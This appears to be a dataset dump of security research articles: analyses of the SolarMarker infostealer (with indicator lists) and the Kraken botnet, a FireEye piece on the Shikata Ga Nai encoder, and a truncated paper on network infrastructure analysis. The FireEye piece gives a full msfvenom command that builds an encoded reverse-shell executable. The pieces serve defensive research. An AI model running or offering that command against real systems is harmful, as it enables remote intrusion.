text
stringlengths
8
115k
# New SolarMarker (Jupyter) Campaign Demonstrates the Malware’s Changing Attack Patterns **By Shimi Cohen, Inbal Shalev, Irena Damsky** **April 8, 2022 at 6:00 PM** **Category:** Malware **Tags:** backdoor, C2, Cortex, Infostealer, Jupyter, Polazert, SolarMarker, WildFire, Yellow Cockatoo ## Executive Summary Recently, we've identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents. Some of SolarMarker’s capabilities include the exfiltration of auto-fill data, saved passwords, and saved credit card information from victims’ web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server. The malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations, and obfuscated PowerShell scripts. This malware has been prevalent since September 2020 targeting U.S. organizations, and part of the infrastructure is still active as of 2022 in addition to a new infrastructure that attackers have recently deployed. Here, we dive into the technical details of the newly identified SolarMarker activity – specifically, how this malware often changes and modifies its attack patterns. For example, the recent version demonstrated an evolution from Windows Portable Executables (EXE files) to working with Windows installer package files (MSI files). According to the evidence we have, this campaign is still in development and going back to using executable files (EXE) as it did in its earlier versions. Palo Alto Networks customers received protections against the newly discovered campaigns through Cortex XDR and WildFire. ## Infection Vector SolarMarker is multi-stage malware. The attackers use obfuscated PowerShell scripts to deploy their attack and stay under the radar. The primary infection vector of SolarMarker is SEO poisoning, which is an attack method in which threat actors create malicious websites packed with keywords and use search engine optimization techniques to make them show up prominently in search results. ## Deployment of SolarMarker Infrastructure on a Victim Machine The initial stage is an EXE file larger than 250MB (the large file size helps to avoid inspection by an automated sandbox or an AV engine). In this case, the file we analyzed was called setup.exe. Based on the sample compilation date in February 2022, the demonstrated artifacts belong to a new development in the malware lifecycle. This file is a .NET-compiled dropper that will drop and execute an installer of a legitimate program to avoid raising the user’s suspicion toward the downloaded binary. In parallel, the malware runs a PowerShell loader in a new thread to load and execute the SolarMarker backdoor payload. ## Main Sections of the PowerShell Script - `showWindowAsync` makes PowerShell windows hidden to conceal malicious activity from the plain sight of users. - Writes the encrypted base64 payload of the SolarMarker backdoor to file with random extension into the TEMP folder. - Achieves persistence using the lnk file in the startup folder. The target file of the lnk is the encrypted base64 payload of the SolarMarker backdoor with the random extension. (This file cannot be run directly). - In Windows environments, every file extension is associated with a default program. The associations of extensions with programs are handled through the registry. SolarMarker sets a handler to the custom random extension to run the encrypted payload. This handler is a PowerShell script that decrypts the payload and loads the bytes of the encrypted payload (backdoor) into memory. The attacker avoids downloading the assembly to disk and subverts it using the “Load” method, which accepts a byte array instead of a file. The loading technique is called Reflective Code Loading. In the first execution of the malware on the victim machine, the encrypted payload (backdoor) will load into the first stage of the malware (setup.exe) because, as we mentioned earlier, setup.exe opened a new thread in which it ran the PowerShell script. After the reboot, the encrypted payload will load directly into the PowerShell process due to the lnk file from the startup folder. ## Encrypted Payload We’ve so far mentioned the encrypted payload many times. What exactly is it? We can make a small change to the PowerShell script of the attacker to save the assembly to disk rather than loading it directly into memory. In addition, this can help us understand the functionality of this version of SolarMarker. We got a .NET-compiled Dynamic-Link Library (.DLL) that contains the core code of the SolarMarker backdoor with an embedded C2 client. When looking at the decompiled code and the names of the classes and functions, we can see that they don't look right. Instead, they look like they are obfuscated. After quickly running de4dot, we can see that it unpacked and deobfuscated. ## SolarMarker Backdoor The SolarMarker backdoor is a .NET C2 client that will communicate with the C2 server within the encrypted channel. The protocol communication is HTTP – usually POST requests. The data is encrypted using RSA encryption with Advanced Encryption Standard (AES) symmetric encryption. The client performs internal reconnaissance, collects basic information about the victim machine, and exfiltrates it over an existing C2 channel. The client sends a signal to the attacker’s server to check for instructions or additional payloads at regular intervals (60 seconds). The attacker can run a PowerShell script and transfer files to the victim machine. The next stage is again a PowerShell encoded script that deploys the SolarMarker final payload (.NET Infostealer) and loads it into memory (this typically occurs about a few hours after the initial infection of the victim machine). The attackers' servers and version names vary between the backdoor and infostealer modules. ## SolarMarker Infostealer In terms of its structure, the infostealer module looks very similar to the backdoor module we introduced earlier but has extended capabilities. The SolarMarker infostealer module acquires login data, cookies, and web data (auto-fill) from web browsers by reading files specific to the target browser. SolarMarker uses the API function CryptUnprotectData (DPAPI) to decrypt the credentials. ## Key Changes Observed in the New Version of SolarMarker Let's summarize the main changes seen in the new version of SolarMarker: - Switches back to executables as the dropper instead of MSI. - Increases the dropper files to larger volumes. - The dropper files are always signed by a legitimate company. - Modified the PowerShell loader script. - In the first execution of the malware on the victim machine, the backdoor will load into the dropper process and not into the PowerShell process as in previous versions. ## Conclusion This blog post documents recent changes in SolarMarker behavior patterns. These updates appear to upgrade evasion abilities in an attempt to stay under the radar and demonstrate that SolarMarker continues to evolve. In recent years, the security industry has come to realize the importance of behavior-based detectors to reduce the dwell time of threats inside their network. Palo Alto WildFire Customers are protected from the SolarMarker malware. Palo Alto Customers using Cortex XDR Prevent or Pro are protected from such campaigns in different layers, including over 30 Behavioral Threat Protection, BIOC, and Analytics BIOCs rules that identify the tactics and techniques that SolarMarker uses at different stages of its execution. Most rules are not customized for SolarMarker and are based on unusual, rare behaviors – and therefore provide protection against many additional malware families and campaigns that use the same methods. On top of that, the Local Analysis Engine and WildFire integration provide additional layers of protection to Cortex customers. ## Indicators of Compromise **IP Addresses:** - 84.252.95[.]225 - 89.44.9[.]108 - 5.254.118[.]226 - 37.120.247[.]199 - 69.46.15[.]151 - 37.120.237[.]251 - 146.70.101[.]97 - 146.70.24[.]173 - 188.241.83[.]61 - 185.244.213[.]64 - 45.42.201[.]248 - 216.230.232[.]134 - 46.102.152[.]102 - 146.70.53[.]153 - 146.70.88[.]119 - 37.221.113[.]115 - 92.204.160[.]114 - 92.204.160[.]101 **SHA256 Hashes:** - af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21f - b4878d6b9d7462cafe81d20da148a44750aa707f4e34eae1f23f21f9e0d9afa0 - 3b79aab07b9461a9d4f3c579555ee024888abcda4f5cc23eac5236a56bf740c7 - d40da05d477f2a6a0da575194dd9a693f85440e6b2d08d1687e1415ce0b00df7 - b90ac9da590ba7de19414b7ba6fbece13ba0c507f1d6be2be2b647091f5779f0 - e91e49fa225b2a9d7b6d5b33a64d4ebe96bbbcea3705438910a5196e0b9d030f - 1ad2af16a803f6f72f3f8bd305fe2e1b2049ecc8c401ed48e72446abb33022f8 - 67735dd94093998ea9011435f6e56f90e3d66131b841706c4418c14907a497f9 - 5239c3b84de73e2a5d9a2ea3f99889f5c81769df388dae21db37a37688f6617e - 5a2005552ba03f22f4d89d638b7e87b1dc1397c82f665fe3c63fd7d29bc6215b - 44af59a2d70ba23f2f80d80090d11184ef923a746c0c9ea3c81922bd8d899346 - 2f7287a8b0c612801e77de6c2f37e22e0a67579f203a0aaf40095bf6ff70e6ee - 0c933001de544ebc071d175d9f8e3bfad8066b532dc69dea4c713c52eb6a64a0 - 067ead7f7950dac95836899d08e93e6888fc87603b9ebf49d10ffeaed27ae466 - a9df1cb6aa6061056b78ad88e7101b076cf20c1a82cc79b1215d1ea80c3fbd2c - 3407a30a697cc9ad2aa84fddc9f643a6b0f2012b286f99f5ac01064bbd56e09a - 7cc35fbce4b353c541f1ee62366248cc072d1c7ce38b1d5ef5db4a2414f26e08 - 7ce31f51f539761f9922bec50d38c6b9c0d6cc3a912517d947bc0a49dd507026 - bbfae2ab644c8d0f1ba82b01032b1962c43855cc6716193ce872ac16cda166df - 3be8e9f9e76df60bc682887ea31813762e9d2c316260a702c3b3e54391a9111b - 11543f09c416237d92090cebbefafdb2f03cec72a6f3fdedf8afe3c315181b5a - b0e926d0e8a2379173ce220071d409839d02a87f7b25f39e29d9e47afa4f7378 **Filenames:** - Optumrx-Quantity-Limit-Prior-Authorization-Form.exe - Fedex-Domestic-Air-Waybill.exe - Osha-Required-Training-Checklist-For-General-Industry.exe - Thetford Porta Potti 345 Instructions.exe - Parkland-Heritage-Gazebo-Instructions.exe - Howard-County-Refinance-Affidavit.exe - Checklist-For-Bringing-New-Baby-Home.exe - Pool-Cover-Cable-Winch-Instructions.exe - Radiation-Pregnancy-Consent-Form.exe - Rival-Frozen-Delights-Ice-Cream-Maker-Manual.exe - Ford-Direct-Window-Sticker-Lookup.exe - Sentence-Structure-Simple-Compound-Complex-Worksheets.exe - Adrenal-Protocol-Ct-Washout.exe - Osha-Propane-Tank-Storage-Requirements.exe - Indiana-Alcohol-And-Tobacco-Liquor-License-Renewal.exe - Monthly-Elevator-Inspection-Checklist.exe - Family-Nurse-Practitioner-Certification-Exam-Questions.exe - Iai-Latent-Print-Certification-Test-Preparation-Training.exe - Cornwall-Ontario-Pool-Bylaw.exe - State-Of-Michigan-Workmans-Comp-Waiver.exe - Lilly-Cares-Patient-Assistance-Application-Form.exe - Market-Adjustment-Salary-Increase-Letter.exe - Are-Doctors-Obligated-By-Law-To-Perform-A-Surgery.exe - Affidavit-Of-Correction-South-Carolina.exe - Medicare-Annual-Wellness-Visit-Questionnaire-In-Spanish.exe - Acceptance-Letter-Phd-Neuroscience.exe - Cigna-Precertification-Request-Form.exe - Oregon-Inheritance-Tax-Waiver-Form.exe - Religious-Exemption-Letter-Nj-Example.exe - Training-Needs-Analysis-Questionnaire-For-Employees.exe - Sample-Texas-Will-And-Testament.exe - Matter-As-Particles-Worksheet.exe - Sdlc-Life-Cycle-With-Examples.exe - Randall-High-School-Volleyball-Schedule.exe - Uses-Of-Rocks-Worksheet.exe - Sample-Demand-Letter-For-Services-Not-Rendered.exe - Fe-Exam-Review-Lecture-Notes.exe - Quit-Claim-Deed-Form-Volusia-County-Florida.exe - Imsa-Ite-Traffic-Signal-Maintenance-Handbook.exe - Capital-One-Mortgage-Pre-Approval.exe - Field-Trip-Reflection-Worksheet-Pdf.exe - Livingston-Mt-City-Court-Warrants-List.exe - One-Page-Lease-Agreement-Texas.exe **Certificates:** - Name: Zimmi Consulting Inc Serial Number: 06 FA 27 A1 21 CC 82 23 0C 30 13 EE 63 4B 6C 62 Status: Trust for this certificate or one of the certificates in the certificate chain has been revoked. Valid From: 12:00 AM 02/18/2022 Valid To: 11:59 PM 02/13/2023 Thumbprint: BA256F3716A5613B2DDA5F2DBD36ABC9AC321583 - Name: Divertida Creative Limited Serial Number: 08 83 DB 13 70 21 B5 1F 3A 2A 08 A7 6A 4B C0 66 Status: Trust for this certificate or one of the certificates in the certificate chain has been revoked. Issuer: DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 Valid From: 12:00 AM 07/28/2021 Valid To: 11:59 PM 07/27/2022 Thumbprint: C049731B453AB96F0D81D02392C9FC57257E647D
# Dissecting the “Kraken” In January 2015, unidentified attackers attempted to infiltrate a multi-national enterprise based in the United Arab Emirates, using a spear phishing attack with a crafted MS Word document attached to the message. Once it reached its target, the payload was designed to work as an information stealer and reconnaissance tool. G DATA’s security experts identified the malware behind this attack and reveal information about the actual power of the malware’s tentacles. In this article, the G DATA SecurityLabs will look at the following topics: - An example of the spear phishing campaign, sent only a few days after the malware was advertised - The marketing approach to sell the malware - The analysis of some of Kraken’s features - Theories about why Kraken has been used as malware in a targeted attack ## Infection Vector The attacker(s) sent a specially crafted email to at least one employee of the attacked enterprise. The email’s body reveals a business-related topic: an offer to become a member of this year’s International Trade Council. Nevertheless, the offer is directed at the Philippine National Bank, not the enterprise actually receiving the email. This could be a trick to make the recipient even more curious to look at the attached document, because he/she received documents not issued for him/her. The G DATA experts alerted the aeCERT about the incident and their analysis results. In this case, the attachment is a Microsoft Word document which tries to exploit the vulnerability described in CVE-2012-0158 in order to drop and execute malware dubbed “Kraken HTTP”. The G DATA security solutions detect the malicious document (08E834B6D4123F0AEA27D042FCEAF992) as Exploit.CVE-2012-0158.AH and G DATA’s proactive Exploit Protection technology also prevents the attack before the PC can be infected. ## The Malware, Advertised on the Underground Market “Kraken HTTP” is sold on at least one underground market as a commercial product. Someone, who claims not to be the author of the malware, promoted it with a kind of banner which has quite a visual impact. The banner describes the botnet: - Its technical features - The available commands (classic ones, such as visiting a website using the infected bot, downloading and executing a command or a library, updating and uninstalling) - The plugins one can use: file stealer, ad-clicker, form grabber, … The command “visiting a website” using the infected bot could be used by the attackers as an entry point for blackmailing the infected user. The attackers could visit websites that are regarded as illegal in the respective country and could then ask for ransom and threaten to release information about the alleged violation to any seemingly official entity who would then investigate against the victim. The flyer also reveals the price of the malware: The basic binary costs $320 and each plugin must be paid for separately, for example $50 for the file stealer, $60 for the ad-clicker, and up to $350 for a configurable form grabber. Accepted payment methods are the usual virtual currencies and pre-paid options. A price list found on a different website, also posted in December 2014, lists the binary’s price as $270 and some additional modules, such as an “Edit Hosts module” ($15), a “Botkill module” ($30), and a “Bitcoin monitor module” ($20). Furthermore, “Kraken HTTP” is advertised as “a new, revolutionary botnet […] and very noob-friendly”. ## Marketing vs. Reality After having a glimpse at the ad designed to promote the malware, we analyzed a sample of it: 3917107778F928A6F65DB34553D5082A, which is detected as Gen:Variant.Zusy.118945. We decided to analyze some features mentioned in the flyer and on the other website to evaluate their power and implementation. ### Feature: “Bypass UAC” As expected, the malware does not really bypass the UAC. It rather uses a classic trick already used by several malware instances. It uses a legitimate Microsoft binary in order to execute itself with administrator permissions. ### Feature: “Anti-VM” The flyer explains that the botnet won’t work in a virtual machine. To detect whether the malware is running in a virtual machine, the malware author checks if the following directories and the one file exist: - C:\Program Files\VMWare\VMware Tools\ - C:\Program Files (x86)\VMware\WMware Tools\ - C:\WINDOWS\system32\VBoxtray.exe Furthermore, the malware checks if the following applications analysts usually use are being executed: - Wireshark: a network analyzer - Fiddler: a web proxy used to debug HTTP flow. If one of the elements mentioned above is detected, the malware will display a rather poetic dialog popup. So, the anti-VM is really rudimentary. If the additional tools are not installed on the virtual machine, the malware can be perfectly executed. ### Feature: “Folder, Bot file & All file dropped are hidden” The folders & bot files simply have the “hidden” attribute set in Microsoft Windows. If you configure your system to show hidden files and directories, you can perfectly see them. ### Feature: “Process & registry persistence” The malware persistence uses a registry key in order to be executed automatically in case the system is rebooted. The key is HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows. The malware repeatedly checks whether this entry is removed. In case the entry is removed, the malware will create a new one. However, instead of removing it, we can simply rename the path to the executable in order to switch off the persistence mechanism. So, the malware does not have any clever persistence features either. ### Feature: “Path & variable encrypted” We identified two kinds of “encrypted” data: - Some paths are encoded using base64 algorithm, such as: JVdJTkRJUiUA (%WINDIR%) and JWFwcGRhdGElaa== (%appdata%) - Some data is encrypted (RC4), such as the C&C information. ### Feature: “Bitcoin monitor plugin” The Bitcoin monitor plugin is even more amusing. It is not advertised on the flyer but on the other website we found. The malware monitors the infected user’s clipboard. If the user copies a Bitcoin address to the clipboard, it will be replaced by an address pre-configured by the botmaster. A Bitcoin address is an identifier of 26-35 alphanumeric characters which represent the owner of a Bitcoin wallet. We can easily imagine that the plugin’s “test” is prone to produce false positives, because any alphanumeric text copied by the user will be automatically changed without reason if it has a length between 26 and 35 characters. ### Feature: “Download & Execute”, the next Step This feature allows installing further malware on the affected PC in case the attackers decide the current machine is interesting enough. “Kraken HTTP” is only the first stage in this attack and can be seen as a reconnaissance tool. ## Administration Panel The experts of the G DATA SecurityLabs had access to the panel used by “Kraken HTTP” but the source code is protected by a commercial packer called IonCube loader. Nevertheless, we can reveal some screenshots of the administration panel which are available on the underground. Note that some of the texts contain mistakes. ## Conclusion We suppose that the Kraken botnet was developed by a beginner. The malware does not include advanced malware technologies and no groundbreaking innovations, even though those were advertised. Many sensitive strings are not encrypted, such as installation paths, anti-virus listings, insults against the analysts, and much more. To sell the botnet malware, the author used a quite sexy marketing flyer, but, actually, the malware turned out to be rather simple. “Kraken HTTP” was said to be used during an espionage campaign against the energy sector, especially against targets in the UAE. We have now identified a specific target from this geographical region and have obtained one of the spear phishing emails used. Even though the targets that are known by now are rather high-level targets, the malware code as well as its features are not advanced. We are surprised to see this piece of code has been used to carry out targeted attacks rather than broader criminal activities. It is not surprising that attackers use vulnerabilities that are older, because many computers are likely to be still out of date and so the attack works. Despite the fact that the vulnerability used is not a new one, the malware does not have the common features that we saw during other targeted attack campaigns. Compared to incidents like Uroburos, the Kraken malware is not good enough to “catch the big fish” if we want to stick with the metaphor. So, from the current point of view, there are three theories: - The attackers who developed the Kraken malware might have chosen to diversify their business and chose to attack special interest targets themselves. - The attackers identified infected machines in the business sector and followed the tracks to see what else they might be able to get from the companies. - The actual espionage team voluntarily chose to use a kind of usual and rather simple botnet malware in order to distract analysts from seeing a deeper meaning behind this attack and make them disregard it as ‘daily cybercrime business’.
# Shikata Ga Nai Encoder Still Going Strong **Threat Research** Steve Miller, Evan Reese, Nick Carr Oct 21, 2019 One of the most popular exploit frameworks in the world is Metasploit. Its vast library of pocket exploits, pluggable payload environment, and simplicity of execution makes it the de facto base platform. Metasploit is used by pentesters, security enthusiasts, script kiddies, and even malicious actors. It is so prevalent that its user base even includes APT threat actors, as we will demonstrate later in the blog post. Despite Metasploit’s over 15 year existence, there are still core techniques that go undetected, allowing malicious actors to evade detection. One of these core techniques is the Shikata Ga Nai (SGN) payload encoding scheme. Modern detection systems have improved dramatically over the last several years and will often catch plain vanilla versions of known malicious methods. In many cases though, if a threat actor knows what they are doing they can slightly modify existing code to bypass detection. Before we jump into how SGN works, we’ll give a little background knowledge surrounding it. When threat actors plan to attack systems, they go through an assessment process of risk and reward. They cycle through questions of stealth and attribution. Some of these questions include: How much effort do I need to put into not getting caught? What happens if I get caught? How long can I reasonably evade detection? Will the discovery of my presence be attributed back to me? One such way APT actors have attempted to elude detection in the first place has been via encoding. We know shellcode is primarily a set of instructions designed to manipulate execution of a program in ways not originally intended. The goal is to inject this shellcode into a vulnerable process. To manually create shellcode, one can pull the opcodes from machine code directly or pull them from an assembler/disassembler tool such as MASM (Microsoft Macro Assembler). Raw generated opcodes often will not execute out of the box. They often require being touched up and made compatible with the processor they are executed on and the programming language they are being used for. An encoding scheme such as SGN takes care of these incompatibilities. Also, shellcode in a non-obfuscated state can be readily recognizable via static detection techniques. SGN provides obfuscation and at a first glance, randomness in the obfuscation of the shellcode. Metasploit’s default configuration encodes all payloads. While Metasploit contains a variety of encoders, the most popular has been SGN. The phrase SGN in the Japanese language means “nothing can be done.” It was given this name as at the time it was created traditional anti-virus products had difficulty with detection. As mentioned, some AV vendors are now catching vanilla implementations, but miss slightly modified variants. SGN is a polymorphic XOR additive feedback encoder. It is polymorphic in that each creation of encoded shellcode is going to be different from the next. It accomplishes this through a variety of techniques such as dynamic instruction substitution, dynamic block ordering, randomly interchanging registers, randomizing instruction ordering, inserting junk code, using a random key, and randomization of instruction spacing between other instructions. The XOR additive feedback piece in this case refers to the fact the algorithm is XORing future instructions via a random key and then adding that instruction to the key to be used again to encode the next instruction. Decoding the shellcode is a process of following the steps in reverse. ## Creating an SGN Encoded Payload The following steps can be recreated with Metasploit and your choice of debugging/disassembly tools: 1. First create a plain vanilla SGN encoded payload: ``` msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.169.0.36 LPORT=80 -b "\x00" -e x86/shikata_ga_nai -f exe -o /root/Desktop/metasploit/IamNotBad.exe ``` 2. Open the file in a disassembler. Upon looking at the binary in a disassembler, you first notice a great deal of junk instructions. Also, Metasploit by default does not set the memory location of the code (.text section in this case) as writable. This will need to be set, otherwise the shellcode will not run. ### Algorithm Breakdown The algorithm consists of: 1. Initialization key specification. 2. Retrieve a location relative to EIP (so that we can modify instructions moving forward based on the address obtained). Metasploit commonly uses the fstenv/fnstenv instructions to put it on the stack where it can be popped into a register for use. There are other ways to get EIP if wanted. 3. Go through a loop to decode other instructions (by default encoded instructions will all reside in the .text section). Vanilla SGN zeroes out the register to be used as the counter and explicitly moves the counter value into the register, so the loop portion is obvious. The loop instruction is encoded so you won’t see it until decoding has gone far enough. SGN decodes instructions at a higher memory address (it could do lower addresses if it wanted to for more trickery). This is done by adding a value to the stored address from before (the one relative to EIP) and XORing it with the key. The address from earlier (the one relative to EIP) is then modified and the key may also be modified. The loop continues until all instructions are decoded and then it moves execution to the decoded shellcode. In this case, the reverse shellcode. 4. As a side note, Shikata Ga Nai allows for multiple iterations. If multiple iterations are chosen, steps 1 to 3 are repeated after the completion of the current iteration. As you can see from each of the aforementioned steps, if you’re a defender and solely relying on static detection, detection can be quite difficult. With something encoded like this, it is difficult to statically detect the specific malicious behavior without unrolling the encoded instructions. Constantly scanning memory is computationally expensive, making it less feasible. This leaves most detection platforms relying on the option of detecting via behavioral indicators or sandboxes. ## Detection Detecting SGN encoded payloads can be difficult as a defender, especially if static detection is heavily relied upon. Decoding and unraveling the encoded instructions is necessary to identify the intended malicious purposes. Constantly scanning memory is computationally expensive, making it less feasible. This leaves most detection platforms relying on detection via behavioral indicators and sandboxes. FireEye appliances contain both static and dynamic detection components. Detection is achieved by a variety of engines, including FireEye's machine learning engine, MalwareGuard. The numerous engines within FireEye appliances serve specific purposes and have different strengths and weaknesses. Creating detection around these various engines allows FireEye to utilize each of their strengths. Correlating activity between these engines allows for unique detection opportunities. This also allows for production detections that would otherwise not be possible when relying on a single engine for detection. We were able to create production detections correlating the different engines on the FireEye appliances to detect SGN encoded binaries with a high fidelity. The current production detections take advantage of static, dynamic and machine learning engines within the FireEye appliance. As an example of the complications concerned with detecting SGN, we will construct code encoded with a slightly modified version of Metasploit’s plain SGN algorithm. One of the keys to writing a good static detection rule is recognizing the unique malicious behaviors of what you are trying to detect. Next, being able to capture as much of that behavior without causing false positives (FPs). Earlier in the post we listed the core behaviors of the SGN algorithm. For sake of illustration, let’s try to match on some of those behaviors. We’ll attempt to match on the key, the mechanism used to get EIP, and the XOR additive feedback loop. If we were trying to detect the code statically, we could use the open source tool Yara. As a first pass we could construct a detection rule. Static detection is a useful technique, but very limited. If this is all you rely on, you will miss much of the malicious behavior getting onto your systems. For SGN, we studied it further and identified the core behavioral pieces. We saw how it was still being used by modern malware. ## Thoughts Metasploit is used by many different people for many different reasons. Some may use Metasploit for legitimate purposes such as red team engagements, research or educational tasks, while others may use the framework with malicious intent. In the latter category, FireEye has historically observed APT20, a suspected Chinese nation state sponsored threat group, utilize Metasploit with SGN encoded payloads. APT20 is one of the many named threat groups that FireEye tracks. This group has a primary focus on stealing data, specifically intellectual properties. Other named groups include APT41 and FIN6. APT41 was formally disclosed by FireEye Intelligence earlier this year. This group has utilized SGN encoded payloads within custom developed backdoors. APT41 is a Chinese cyber threat group that has been observed carrying out financially motivated missions coinciding with cyber-espionage operations. Financial threat group FIN6 has also used SGN encoded payloads to carry out their missions, and they have historically relied upon various publicly available tools. These missions largely involve theft of payment card data from point-of-sale systems. FireEye has also observed numerous uncategorized threat groups utilizing payloads encoded with SGN. These are groups that FireEye tracks internally, but have not been announced formally. One of these groups in particular is UNC902, which is largely known as the financially motivated group TA505 in public threat reports. FireEye has observed UNC902 extensively use SGN encoding within their payloads and we continue to see activity related to this group, even as recently as October 2019. Outside of these groups, we continue to observe usage of SGN encoding within malicious samples. FireEye currently identifies hundreds of SGN encoded payloads on a monthly basis. SGN encoded payloads are not always used with the same intent, but this is one side effect of being embedded into such a popular and freely available framework. Looking forward, we expect to see continued usage of SGN encoded payloads.
# Analyzing Network Infrastructure as Composite Objects ## Introduction Network infrastructure is one of the primary observables associated with cyber intrusions. From IP addresses serving as scanning or reconnaissance infrastructure through domains functioning as command and control (C2) or exfiltration servers, network infrastructure forms a prerequisite for adversary operations. Viewed through typical models such as the Lockheed-Martin Cyber Killchain, network infrastructure observables factor into nearly every stage of the intrusion lifecycle as either a critical dependency or an enabling factor. Yet while commonly referred to and almost universally present, network infrastructure observables—specifically domain names and IP addresses—are also frequently derided as atomic, minimally enriched items for defensive purposes. This paper will show that such a view is mistaken and misguided—but only if we expand our understanding of network infrastructure observables and their characteristics. A thorough examination of network observables shows differentiation between minimally enriched indicators and composite objects which enable more in-depth understanding and analysis. By adopting the latter view, a seemingly atomic object such as a domain name yields a number of linked observations, which enable further analysis and pivoting. By following this methodology, defenders can use a relatively small set of observations to build a robust picture of adversary tendencies and unearth additional campaigns and adversary observations. ## Indicators and Atomic Objects Information security operations live through the ingestion, analysis, and disposition of technical observations. Frequently called “indicators of compromise” (IOCs), these items are in theory composite objects consisting of observations, descriptions, and metadata. Yet in practice, “IOC” refers to a debased, diminished version of the original concept. Rather than containing built-in contextuality, IOCs instead are reduced to mere observables in isolation: an IP address, a domain name, a hash value. While (debased) IOCs still drive much of everyday network security operations, they are increasingly derided by analysts and industry representatives. Examples include calls to emphasize adversary behaviors over specific technical observations for defense, or theoretical constructs such as the Pyramid of Pain representing the “staying power” of different types of observations. While these arguments are generally correct and insightful for improving the practice of information security, such developments come with an implicit and often ignored cost. In the rush to embrace behavior-based, tactics-techniques-procedures (TTP) focused defense, the value of indicators and their nature may be left behind. A more thorough understanding of just what exists within an indicator allows us to explore in greater detail the nature and basis for that indicator’s existence. Just as an atom, while representing the fundamental building block of matter, contains subatomic particles that define its characteristics, the same is true for bare indicators. With further analysis and enrichment, we can discover greater details and gain an improved understanding of these observations. ## Nature of Network Infrastructure Network infrastructure observables are those artifacts related to intrusion events or adversary activity linked to delivery, communication, control, and exfiltration among other items. Although not exhaustive, examples of network infrastructure observables include domain names, IP addresses, and SSL/TLS certificates. These items are interrelated as they pertain to different aspects of the same overall communication scheme: an IP hosts a domain that uses an SSL/TLS certificate to encrypt traffic. At first glance, these items appear to be unitary, atomic indicators. As such, they would appear to require enrichment and context outside of themselves to have lasting, meaningful value for understanding adversary behaviors and tendencies. However, further investigation of these items indicates a more complex nature with multiple subcomponents and characteristics that identify these items, under proper analysis, as composite objects. Understanding and analyzing these items, their relationships, and patterns of composition yields insights into adversary behaviors which extends and deepens the value of a “bare” network indicator. ## Domain Names A domain name is a natural language, human-readable item designed as a reference to a machine-focused IP address hosting content online. While content or services can be accessed simply through an IP address, domains facilitate the process and allow for a certain degree of “branding” or uniqueness through their name. The domain itself is not a unitary object though. Rather, the domain consists of several components or identifying metadata that can be used to “fingerprint” or gain further insight into the domain’s nature or creation. In addition to any hosting information related to the domain and its use, the following items represent characteristics of a domain that analysts and defenders can leverage: - **Domain Registrar**: In order to create and take ownership of a domain, an individual or entity needs to work through a registrar to secure a domain through one of the registries managing the desired Top Level Domain (TLD - e.g., “.com”). Registrars differ widely in terms of pricing, client scrutiny, and other aspects. As a result of these characteristics and infrastructure preferences, threat actors may prefer or primarily leverage certain registrars over others for infrastructure creation. - **Domain Registrant**: Domains are created by a given registrant. While this information was historically quite useful, the increasing adoption of privacy protection services and the impact of the European Union’s General Data Protection Regulation (GDPR) have greatly restricted such information at present. Nonetheless, commonality in privacy protection services across registrations can still be used as a weak link to tie together various domains. - **Name Server**: Domain resolution to an IP address requires an authoritative name server in order to translate requests. Identifying name servers associated with registration—especially specific authoritative servers—can reveal patterns of infrastructure creation and adversary tendencies. - **Domain Naming Theme or Convention**: Actual domain name selection may be used to infer adversary intent as well as adversary tendencies. Threat actors must pick something for a domain name, whether this is a randomly-generated string, an item matching a theme, or a name matching a target or campaign. Identifying these themes or conventions can be a surprisingly useful mechanism to differentiate domain registrations and identify commonalities for an actor. The totality of these above items defines a domain. Just as they are components that represent the domain, they are also items that can be used to search for similarly-structured or created infrastructure. For example, an adversary may consistently use the same combination of name server, registrar, and registration privacy protection service that can enable pivoting and identification of additional adversary infrastructure. ## IP Addresses IP addresses are the identifying schema for Internet Protocol (IP) traffic and are used to designate specific machines or servers to receive traffic. While domain names are not necessary for network communication, IP addresses are required for IP-based communication. An active, communicating domain will always be paired with an IP address, while an IP address need not have a related domain to ensure communication between hosts. While IP addresses are one of the most commonly seen indicators in CTI reporting, just like domains, IP addresses hide multiple subcomponents that identify aspects of adversary tendencies and behaviors: - **Hosting Provider**: Adversaries need to find reasonably private, non-attributable hosting for network infrastructure. Options include any of the major cloud service providers from Amazon Web Services to DigitalOcean; smaller virtual private server (VPS) providers; or utilizing services such as CloudFlare to mask true hosting from monitoring parties. - **Hosting Location**: In addition to hosting providers, threat actors also have a degree of choice over hosting location. Cloud, VPS, and other providers typically own infrastructure located in various countries. Adversaries can leverage location specificity for purposes ranging from avoiding potential geographic-based traffic filtering to taking advantage of the legal system of the hosting country to maximize privacy or make defender investigations more difficult. - **Server Type**: Infrastructure still needs a system on which to run, and the choice of operating system (OS) and version can also be used to fingerprint adversary tendencies. Threat actors can decide between various flavors of Linux to different versions of Windows for the underlying OS. Identifying particular tendencies—especially when related to exposed system services—can reveal patterns of activity that can be used to identify or disposition new infrastructure. - **Server Services**: To function as a command and control (C2) or other node, a server must listen on some service. The most direct and basic would be HTTP or HTTPS, in which case we as defenders can identify the web server type, version, and, in the case of HTTPS, server SSL/TLS certificates. Identifying non-standard or atypical services, especially for unique or custom C2 frameworks, can further enable identification and tracking. To illustrate the above concepts, the suspicious domain “adverting-cdn[.]com” is hosted on a dedicated server at 213.252.246[.]23. Using an internet scanning and enumeration tool such as Shodan, we can further investigate the server to identify services and fingerprint the server’s OS. ## SSL/TLS Certificates Finally, adversaries (as well as most legitimate web services) frequently employ standard encryption using the Secure Sockets Layer (SSL) or Transport Layer Security (TLS) protocols. While adversaries can certainly use custom encryption or encoding protocols for traffic, the ubiquity of SSL/TLS-wrapped communications and the limited visibility into such communications for most organizations make the publicly-available standard both very effective and significantly cheap for threat actors to deploy. As a form of public key cryptography, SSL/TLS encryption depends upon certificates for functionality. Certificates can be tracked through various data points, as they typically feature identifying information related to the certificate owner, such as organization or location. Certificates can take a variety of forms from self-signed, untrusted items to certificates created through free and unvetted services (such as Let’s Encrypt) or sources which perform some degree of vetting when issuing them. While resulting metadata will vary depending on the issuer and the certificate, there is a rich history in using certificate characteristics to track adversary behavior. Even though in this case we have limited information for direct pivoting, just identifying the use 